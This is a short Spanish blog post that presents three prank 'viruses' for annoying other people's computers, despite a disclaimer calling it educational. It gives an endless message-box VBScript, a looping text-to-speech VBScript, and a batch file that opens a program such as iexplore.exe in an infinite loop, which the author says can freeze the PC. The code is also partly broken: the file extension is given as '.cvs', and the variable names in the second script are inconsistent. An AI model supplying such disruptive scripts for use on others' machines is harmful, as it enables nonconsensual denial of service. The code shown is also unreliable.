Tres tipos de virus y como crearlos

Buenas tardes a todos, hoy vamos a aprender como crear tres tipos de virus para gastar alguna broma.

ATENCIÓN:   EL CREADOR DES ESTE BLOG NO SE HACE RESPONSABLE DEL MAL USO QUE SE LE PUEDA DAR A ESTE PROYECTO, EL CUAL FUE CREADO CON FINES EDUCATIVOS.

Cada virus, es de un nivel diferente, el nivel 1 es el más fácil de desactivar, pero el 3 puedes llegar a tener que apagar el ordenador.


Nivel 1 .cvs
_______________________________________________

do 
Mensaje=msgbox("Hola" ,16, "Mensaje") 
Mensaje=msgbox("¿Qué haces?" ,16, "Mensaje") 
Mensaje=msgbox("Quieres salir?" ,16, "Mensaje") 
Mensaje=msgbox("Estas segur@?" ,16, "Mensaje") 
Mensaje=msgbox("Pero no puedes" ,16, "Mensaje") 
Mensaje=msgbox("infinito python" ,16, "Mensaje") 
loop 

En este nivel, se crean un montón de carteles con la frase que quieras, sustituyendo las frases que están entre comillas por la que quieras.

Nivel 2 .cvs

_______________________________________________

do 
Dim var1, var2 var1="infinito python" 
Set va2=CreateObject("sapi.spvoice") 
va2.Speak 
var1 
loop 




En este script, lo que hace es hablar todo el contenido donde está situado infinito python.




Nivel 3 .bat

_______________________________________________




:bucle 
@echo off 
start iexplore.exe 
goto bucle 


_______________________________________________

El "iexplore.exe" lo puedes cambiar por "explorer.exe " o "chrome.exe" o "winword.exe" o "notepad.exe"
_______________________________________________


Este último nivel, es el más peligroso, por que empieza a abrir páginas de la aplicación deseada lo cual puede ocasionar que el pc se congele y haya que reiniciarlo.
Excepto el 3, puedes desactivar cualquiera desde el administrador de tareas (ctrl+alt+supr, buscando el nombre del archivo y finalizando la tarea.


En el nombre de los niveles, he puesto la terminación con la que hay que guardar el archivo para que funcione.